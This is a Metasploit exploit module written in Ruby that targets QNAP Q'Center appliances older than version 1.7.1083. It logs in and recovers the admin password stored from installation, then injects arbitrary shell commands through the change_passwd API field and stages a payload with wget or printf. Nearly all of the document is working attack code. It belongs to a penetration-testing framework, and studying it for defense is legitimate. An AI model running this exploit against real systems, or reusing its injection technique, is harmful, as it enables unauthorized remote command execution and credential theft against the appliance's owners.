##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => "QNAP Q'Center change_passwd Command Execution",
'Description' => %q{
This module exploits a command injection vulnerability in the
`change_passwd` API method within the web interface of QNAP Q'Center
virtual appliance versions prior to 1.7.1083.
The vulnerability allows the 'admin' privileged user account to
execute arbitrary commands as the 'admin' operating system user.
Valid credentials for the 'admin' user account are required, however,
this module also exploits a separate password disclosure issue which
allows any authenticated user to view the password set for the 'admin'
user during first install.
This module has been tested successfully on QNAP Q'Center appliance
version 1.6.1075.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ivan Huertas', # Discovery and PoC
'Brendan Coles' # Metasploit
],
'References' =>
[
['CVE', '2018-0706'], # privesc
['CVE', '2018-0707'], # rce
['EDB', '45015'],
['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'],
['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'],
['URL', 'https://www.securityfocus.com/archive/1/542141'],
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Auto', { }]],
'CmdStagerFlavor' => %w[printf bourne wget],
'Privileged' => false,
'DisclosureDate' => 'Jul 11 2018',
'DefaultOptions' => {'RPORT' => 443, 'SSL' => true},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']),
OptString.new('USERNAME', [true, 'Username for the application', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the application', 'admin'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def check
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html')
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200 && res.body.include?("<title>Q'center</title>")
vprint_error "Target is not a QNAP Q'Center appliance"
return CheckCode::Safe
end
version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first
if version.to_s.eql? ''
vprint_error "Could not determine QNAP Q'Center appliance version"
return CheckCode::Detected
end
version = Gem::Version.new version
vprint_status "Target is QNAP Q'Center appliance version #{version}"
if version >= Gem::Version.new('1.7.1083')
return CheckCode::Safe
end
CheckCode::Appears
end
def login(user, pass)
vars_post = {
name: user,
password: Rex::Text.encode_base64(pass),
remember: 'false'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/login'),
'ctype' => 'application/json',
'data' => vars_post.to_json
})
if res.nil?
fail_with Failure::Unreachable, 'Connection failed'
elsif res.code == 200 && res.body.eql?('{}')
print_good "Authenticated as user '#{user}' successfully"
elsif res.code == 401 || res.body.include?('AuthException')
fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'"
else
fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]"
end
@cookie = res.get_cookies
if @cookie.nil?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie'
end
end
#
# Retrieve list of user accounts
#
def account
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
'cookie' => @cookie
})
JSON.parse(res.body)['account']
rescue
print_error 'Could not retrieve list of users'
nil
end
#
# Login to the 'admin' privileged user account
#
def privesc
print_status 'Retrieving admin user details ...'
admin = account.first
if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank?
fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details'
end
@id = admin['_id']
@pw = Rex::Text.decode_base64 admin['new_password']
print_good "Found admin password used during install: #{@pw}"
login admin['name'], @pw
end
#
# Change password to +new+ for user with ID +id+
#
def change_passwd(id, old, new)
vars_post = {
_id: id,
old_password: Rex::Text.encode_base64(old),
new_password: Rex::Text.encode_base64(new),
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
'query' => 'change_passwd',
'cookie' => @cookie,
'ctype' => 'application/json',
'data' => vars_post.to_json
}, 5)
end
def execute_command(cmd, _opts)
change_passwd @id, @pw, "\";#{cmd};\""
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
login datastore['USERNAME'], datastore['PASSWORD']
if datastore['USERNAME'].eql? 'admin'
@id = @cookie.scan(/_ID=(.+?);/).flatten.first
@pw = datastore['PASSWORD']
else
privesc
end
print_status 'Sending payload ...'
execute_cmdstager linemax: 10_000
end
end
